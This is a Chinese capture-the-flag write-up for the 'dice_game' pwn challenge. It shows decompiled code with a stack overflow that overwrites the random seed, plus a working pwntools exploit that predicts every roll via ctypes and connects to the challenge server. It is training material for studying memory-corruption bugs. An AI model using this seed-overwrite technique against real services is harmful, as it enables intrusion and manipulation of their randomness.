dice_game
題目來源: XCTF 4th-QCTF-2018
考點:棧溢出、混合編程
基本情況
程序實現的是一個具有用戶姓名輸入的菜隨機數程序。
保護措施
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
棧溢出
一開始我在糾結是輸入數字時使用的是短整型,可不可能是整型溢出,這樣既能保持低位數字符合要求,又能控制 rip 跳轉到後門。一時想不起來是那一條題和這條很相似的,就這樣懷疑。
最後觀察是這裏存在棧溢出:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]
memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL); // 隨機種子
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);//棧溢出
if ( v6 <= 49 ) // 字符長度小於等於49
buf[v6 - 1] = 0; // 最後一個字符替換爲\x00
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
…………
}
這是個小範圍的棧溢出,可以覆蓋隨機數 seed 。做到這裏發現和這條題目完全一樣:[guess_num](# guess_num)。
思路
固定隨機數之後,就是 python c 的聯合編程,用 ctypes
實現。
rand
缺省種子參數時默認使用種子爲:0
。
EXP
from pwn import *
from ctypes import *
context.log_level = 'debug'
p = remote("124.126.19.106",45292)
#p = process("./dice_game")
elf = ELF("./dice_game")
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'skye'.ljust(0x40,'a') + p64(0)
p.recvuntil("name:")
p.sendline(payload)
for _ in range(50):
p.recvuntil('Give me the point')
p.sendline(str(libc.rand()%6+1))
p.interactive()